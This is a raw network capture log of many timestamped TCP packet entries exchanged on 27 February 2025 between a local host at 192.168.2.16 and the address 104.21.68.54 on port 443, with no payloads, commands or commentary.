Feb 27, 2025 20:25:07.501878977 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.502032042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.502074003 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.502089977 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.502099037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.502118111 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.533832073 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.533879042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.533899069 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.533907890 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.533936977 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.574453115 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576242924 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576251984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576292992 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576306105 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576317072 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576328039 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576374054 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576406956 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576652050 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576659918 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576692104 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576719046 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576730967 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576739073 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.576776028 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.576792955 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.578891993 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.578908920 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.578963995 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.578969955 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.579036951 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.579068899 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.579125881 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.579132080 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.579328060 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.579340935 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.579415083 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.579421997 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.595952034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.595994949 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596020937 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.596029997 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596087933 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.596285105 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596328974 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596365929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.596370935 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596430063 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.596486092 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596529961 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596555948 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.596560955 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.596607924 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.628382921 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.628433943 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.628468037 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.628474951 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.628540993 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.672657013 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.672683001 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.672770023 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.672782898 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.672880888 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.674773932 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.674788952 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.674848080 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.674854994 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.674891949 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.675091982 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675107956 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675160885 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.675165892 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675205946 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.675606012 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675630093 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675682068 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.675687075 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.675721884 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.675745964 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.688514948 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688564062 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688611984 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.688616991 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688678980 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.688750029 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688791037 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688807011 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.688812971 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.688865900 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.689074993 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.689116001 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.689148903 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.689153910 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.689184904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.689205885 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.721101046 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.721157074 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.721190929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.721196890 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.721240997 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.721266031 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.762862921 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.762924910 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.762964964 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.762974024 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.763010979 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.763035059 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.764054060 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764100075 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764136076 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.764139891 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764193058 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.764671087 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764724970 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764746904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.764751911 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.764807940 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.765002012 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.765050888 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.765093088 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.765098095 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.765170097 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.780968904 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.780987978 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781045914 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.781054020 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781097889 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.781378984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781394005 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781444073 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.781450033 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781519890 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.781665087 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781687975 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781744957 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.781749964 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.781811953 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.783978939 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.813647032 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.813667059 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.813718081 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.813726902 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.813767910 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.855901003 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.855925083 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.855982065 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.855989933 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.856045961 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.856731892 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.856748104 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.856786013 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.856791973 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.856827974 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.857831955 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.857851982 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.857903004 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.857918024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.857923031 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.857953072 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.857975006 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.858128071 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.858143091 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.858195066 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.858201027 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.858267069 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.873683929 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.873697996 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.873755932 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.873761892 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.873816013 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.874042034 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.874079943 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.874118090 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.874124050 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.874155998 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.874171019 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.904525042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.904553890 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.904603004 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.904609919 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.904659033 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.948069096 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948093891 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948162079 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.948170900 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948215961 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.948503971 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948522091 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948576927 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.948581934 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.948622942 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950025082 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950040102 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950088024 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950093985 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950156927 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950592995 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950607061 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950655937 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950660944 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950773954 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950869083 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950906038 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950932980 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950937986 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.950965881 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.950985909 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.966626883 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966656923 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966715097 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.966723919 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966768026 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.966847897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966869116 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966917992 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.966923952 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.966950893 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.966974020 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.967147112 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.967161894 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.967230082 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:07.967236042 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:07.967277050 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.006462097 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.006483078 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.006565094 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.006586075 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.006635904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.025253057 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.048343897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.048371077 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.048445940 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.048456907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.048492908 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.050029993 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.050044060 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.050110102 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.050115108 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.050149918 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.051597118 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.051611900 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.051662922 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.051668882 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.051748991 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.051951885 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.051964998 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.052016020 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.052021027 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.052088022 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.059335947 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059351921 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059412956 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.059418917 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059448957 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.059604883 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059618950 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059668064 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.059674025 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059719086 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.059982061 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.059994936 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.060118914 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.060125113 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.060164928 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.098720074 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.098737001 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.099327087 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.099354982 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.099467039 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.141829014 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.141851902 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.141923904 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.141937971 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.141972065 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.141983032 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.142692089 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.142705917 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.142754078 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.142760992 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.142895937 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.144906044 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.144921064 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.144989014 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.144995928 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.145072937 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.145165920 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.145198107 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.145265102 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.145268917 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.145299911 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.145313978 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152024984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152050018 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152097940 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152103901 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152163029 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152441025 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152456999 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152504921 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152509928 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152556896 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152590036 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152606010 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152664900 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.152669907 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.152719975 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.191293955 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.191337109 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.191376925 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.191385984 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.191461086 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423343897 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423372030 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423437119 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423453093 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423507929 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423583031 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423599958 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423646927 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423654079 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423711061 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423863888 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423882008 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423930883 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.423934937 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.423970938 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424072981 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424086094 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424129009 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424135923 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424206018 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424376965 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424390078 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424494028 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424499035 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424540043 CET	52546	443	192.168.2.16	104.21.68.54
Feb 27, 2025 20:25:08.424676895 CET	443	52546	104.21.68.54	192.168.2.16
Feb 27, 2025 20:25:08.424690962 CET	443	52546	104.21.68.54	192.168.2.16
